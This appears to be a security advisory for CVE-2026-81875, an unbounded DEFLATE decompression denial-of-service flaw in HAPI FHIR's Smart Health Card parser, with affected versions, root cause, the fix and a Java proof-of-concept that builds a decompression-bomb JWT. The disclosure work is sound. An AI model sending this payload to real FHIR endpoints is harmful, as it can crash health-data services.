high · 7.5CVE-2026-81875Sep 17, 2026

CVE-2026-81875: HAPI FHIR SHCParser Unbounded DEFLATE Decompression DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

HAPI FHIR's Smart Health Card parser will decompress attacker-supplied DEFLATE payloads without any size limit, letting a kilobyte-sized JWT balloon into gigabytes of heap and crash the server.

Packageca.uhn.hapi.fhir:org.hl7.fhir.r5
Ecosystemmaven
Affected<= 6.9.11
Fixed in6.9.12

The problem

SHCParser processes Smart Health Card JWTs that carry a compressed payload when the header field "zip" is set to "DEF". Before version 6.9.12, both inflate() and decompress() loop over Inflater output and write every decompressed byte into a ByteArrayOutputStream with no cap on how large that stream can grow.

The existing MAX_ALLOWED_SHC_LENGTH check in decodeJWT() only logs an error and then continues parsing, so it provides no real protection. A single network request carrying a tiny compressed payload can therefore force the JVM to allocate hundreds of megabytes or more of heap, triggering severe GC pressure or an OutOfMemoryError.

Proof of concept

A working proof-of-concept for CVE-2026-81875 in ca.uhn.hapi.fhir:org.hl7.fhir.r5, with the exact payload below.

java
// 1. Build a highly compressible JSON blob (1 MB of repeated chars)
String body = "{\"a\":\"" + "A".repeat(1_000_000) + "\"}";
byte[] plain = body.getBytes(StandardCharsets.UTF_8);

// 2. Raw DEFLATE-compress it (no zlib wrapper; "true" = nowrap)
Deflater deflater = new Deflater(9, true);
deflater.setInput(plain);
deflater.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
while (!deflater.finished()) {
    int n = deflater.deflate(buf);
    bos.write(buf, 0, n);
}
byte[] compressed = bos.toByteArray();

// 3. Build a fake SHC JWT: header.payload.signature
//    header = {"alg":"ES256","zip":"DEF"}
String header  = Base64.getUrlEncoder().withoutPadding()
    .encodeToString("{\"alg\":\"ES256\",\"zip\":\"DEF\"}".getBytes());
String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(compressed);
String jwt     = header + "." + payload + ".fakesig";

// 4. Wrap in SHC numeric encoding and send to any SHC validation endpoint
//    (SHCParser also accepts raw JWT strings directly via decodeJWT)
System.out.println("shc:/" + toNumericMode(jwt)); // triggers unbounded inflate()

The root cause is CWE-409 (Improper Handling of Highly Compressed Data). inflate() and decompress() both use a bare while (!inflater.finished()) loop that writes every chunk to a ByteArrayOutputStream, giving the caller no way to abort early. The advisory's own measurements show a 1 052-byte compressed payload expanding to 1 000 066 bytes (950x ratio), and a 15 626-byte input expanding to 16 000 066 bytes (1023x ratio).

The patch in commit fbb94216 adds a running byte-count check inside both loops and throws (or logs a fatal error and returns) as soon as the accumulated output exceeds MAX_ALLOWED_SHC_LENGTH, making the guard actually enforced rather than advisory-only.

The fix

Upgrade to org.hl7.fhir.r5 (or any org.hl7.fhir.core module) version 6.9.12 or later. The fix is in commit fbb94216e0ad21ded75be77e5e20242ba194e83f via pull request #2493. No workaround exists in earlier versions because the MAX_ALLOWED_SHC_LENGTH path does not abort decompression.

Reported by Thai Son Dinh, VinSOC Labs (R&D).

References: [1][2][3][4][5][6]

Related research